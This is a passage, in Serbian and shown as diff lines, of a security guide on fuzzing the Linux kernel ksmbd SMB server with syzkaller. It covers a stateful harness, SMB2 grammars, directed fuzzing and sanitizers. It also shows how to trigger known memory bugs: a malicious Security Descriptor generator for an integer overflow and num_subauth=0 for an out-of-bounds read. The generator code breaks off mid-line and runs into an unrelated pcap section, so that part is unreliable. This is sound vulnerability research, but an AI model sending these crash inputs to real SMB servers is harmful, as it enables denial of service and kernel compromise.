(patch-ujte politiku ako je onemogućen). Ovo pojednostavljuje handshake dok i dalje aktivira SMB3 kodne puteve. +- Patch-ujte stroge credit checks tokom eksperimentisanja (post-hardening za CVE-2024-50285 je strožije regulisao simultaneous-op crediting). Inače, rate-limiti mogu odbacivati fuzzovane sekvence prerano. +- Povećajte max connections (npr. na 65536) da izbegnete rane odbacivanja pri visokoprotočnom fuzzingu. + +Upozorenje: Ova opuštanja služe isključivo za potrebe fuzzinga. Ne deploy-ujte sa ovim podešavanjima u produkciji. + +--- + +## Stateful harness: Ekstrakcija resursa i lančanje zahteva +SMB je stateful: mnogi zahtevi zavise od identifikatora vraćenih prethodnim odgovorima (SessionId, TreeID, FileID parovi). Vaš harness mora parsirati odgovore i ponovo koristiti ID-ove unutar istog programa da bi dosegao dublje handlere (npr. smb2_create → smb2_ioctl → smb2_close). + +Primer snippeta za obradu response buffera (preskačući +4B NetBIOS PDU length) i keširanje ID-ova: +```c +// process response. does not contain +4B PDU length +void process_buffer(int msg_no, const char *buffer, size_t received) { +uint16_t cmd_rsp = u16((const uint8_t *)(buffer + CMD_OFFSET)); +switch (cmd_rsp) { +case SMB2_TREE_CONNECT: +if (received >= TREE_ID_OFFSET + sizeof(uint32_t)) +tree_id = u32((const uint8_t *)(buffer + TREE_ID_OFFSET)); +break; +case SMB2_SESS_SETUP: +// first session setup response carries session_id +if (msg_no == 0x01 && received >= SESSION_ID_OFFSET + sizeof(uint64_t)) +session_id = u64((const uint8_t *)(buffer + SESSION_ID_OFFSET)); +break; +case SMB2_CREATE: +if (received >= CREATE_VFID_OFFSET + sizeof(uint64_t)) { +persistent_file_id = u64((const uint8_t *)(buffer + CREATE_PFID_OFFSET)); +volatile_file_id = u64((const uint8_t *)(buffer + CREATE_VFID_OFFSET)); +} +break; +default: +break; +} +} +``` +Saveti +- Zadržite jedan fuzzer process koji deli authentication/state: pruža bolju stabilnost i pokrivenost sa ksmbd’s global/session tables. syzkaller i dalje uvodi concurrency tako što označava ops kao async i interno ih ponovo pokreće. +- Syzkaller’s experimental reset_acc_state može resetovati global state, ali može uvesti značajno usporenje. Prioritet dajte stabilnosti i fokusirajte se na fuzzing umesto toga. + +--- + +## Generisanje SMB2 vođeno gramatikom (validni PDUs) +Prevedite Microsoft Open Specifications SMB2 strukture u fuzzer grammar tako da vaš generator proizvodi strukturno validne PDUs koje sistematski dopiru do dispatchers i IOCTL handlers. + +Primer (SMB2 IOCTL request): +``` +smb2_ioctl_req { +Header_Prefix SMB2Header_Prefix +Command const[0xb, int16] +Header_Suffix SMB2Header_Suffix +StructureSize const[57, int16] +Reserved const[0, int16] +CtlCode union_control_codes +PersistentFileId const[0x4, int64] +VolatileFileId const[0x0, int64] +InputOffset offsetof[Input, int32] +InputCount bytesize[Input, int32] +MaxInputResponse const[65536, int32] +OutputOffset offsetof[Output, int32] +OutputCount len[Output, int32] +MaxOutputResponse const[65536, int32] +Flags int32[0:1] +Reserved2 const[0, int32] +Input array[int8] +Output array[int8] +} [packed] +``` +Ovaj stil prisiljava na ispravne structure sizes/offsets i drastično poboljšava coverage u odnosu na blind mutation. + +--- + +## Directed Fuzzing With focus_areas +Koristite syzkaller’s experimental focus_areas da date veću težinu određenim functions/files koje trenutno imaju slab coverage. Example JSON: +```json +{ +"focus_areas": [ +{"filter": {"functions": ["smb_check_perm_dacl"]}, "weight": 20.0}, +{"filter": {"files": ["^fs/smb/server/"]}, "weight": 2.0}, +{"weight": 1.0} +] +} +``` +Ovo pomaže da se konstruišu validni ACLs koji pogađaju arithmetic/overflow puteve u smbacl.c. Na primer, zlonamerni Security Descriptor sa prevelikim dacloffset reprodukuje integer-overflow. + +Generator reprodukcije (minimalni Python): +```python +def build_sd(): +import struct +sd = bytearray(0x14) +sd[0x00] = 0x00; sd[0x01] = 0x00 +struct.pack_into(' packets.json +``` + +```python +import json, os +os.makedirs("corpus", exist_ok=True) + +with open("packets.json") as f: +data = json.load(f) +# adjust indexing to your tshark JSON structure +packets = [e["_source"]["layers"]["tcp.payload"] for e in data] + +for i, pkt in enumerate(packets): +pdu = pkt[0] +pdu_size = len(pdu) // 2 # hex string length → bytes +with open(f"corpus/packet_{i:03d}.txt", "w") as f: +f.write( +f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" +) +``` +Ovo ubrzava istraživanje i može odmah izazvati UAFs (npr. u ksmbd_sessions_deregister) dok podiže coverage za nekoliko procenata. + +--- + +## Sanitizers: Više od KASAN +- KASAN ostaje primarni detektor za heap bugs (UAF/OOB). +- KCSAN često daje false positives ili low-severity data races na ovom targetu. +- UBSAN/KUBSAN može uhvatiti declared-bounds greške koje KASAN promaši zbog array-index semantics. Primer: +```c +id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); +struct smb_sid { +__u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS]; +__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */ +} __attribute__((packed)); +``` +Postavljanje num_subauth = 0 izaziva in-struct OOB čitanje sub_auth[-1], koje detektuju UBSAN-ove provere deklarisanih granica. + +--- + +## Napomene o propusnosti i paralelizmu +- Jedan fuzzer proces (shared auth/state) obično je znatno stabilniji za ksmbd i i dalje otkriva races/UAFs zahvaljujući syzkaller’s internal async executor. +- Sa višestrukim VM-ovima, i dalje možete dostići stotine SMB komandi/sekundi ukupno. Pokrivenost na nivou funkcija oko ~60% za fs/smb/server i ~70% za smb2pdu.c je ostvariva, mada je pokrivenost prelaza stanja potcenjena ovakvim metrikama. + +--- + +## Praktični kontrolni spisak +- Omogućite durable handles, leases, multi-channel, oplocks i VFS objects u ksmbd. +- Allow guest i map-to-guest; accept NTLMv2. Patch out credit limits i povećajte max connections radi stabilnosti fuzzera. +- Napravite stateful harness koji kešira SessionId/TreeID/FileIDs i povezuje create → ioctl → close. +- Koristite grammar za SMB2 PDUs da održite strukturnu validnost. +- Koristite focus_areas da preterano opteretite slabo pokrivene funkcije (npr. smbacl.c putanje kao smb_check_perm_dacl). +- Seedujte sa ANYBLOB iz stvarnih pcaps da probijete platea; pakujte seed-ove sa syz-db za ponovnu upotrebu. +- Pokrenite sa KASAN + UBSAN; pažljivo razvrstajte UBSAN izveštaje o declared-bounds. + +--- + +## Reference +- Doyensec – ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html +- syzkaller: https://github.com/google/syzkaller +- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4 +- Async executor change (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5 +- syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db +- KASAN: https://docs.kernel.org/dev-tools/kasan.html +- UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html +- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html +- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/ +- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures +- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes + +{{#include ../../banners/hacktricks-training.md}}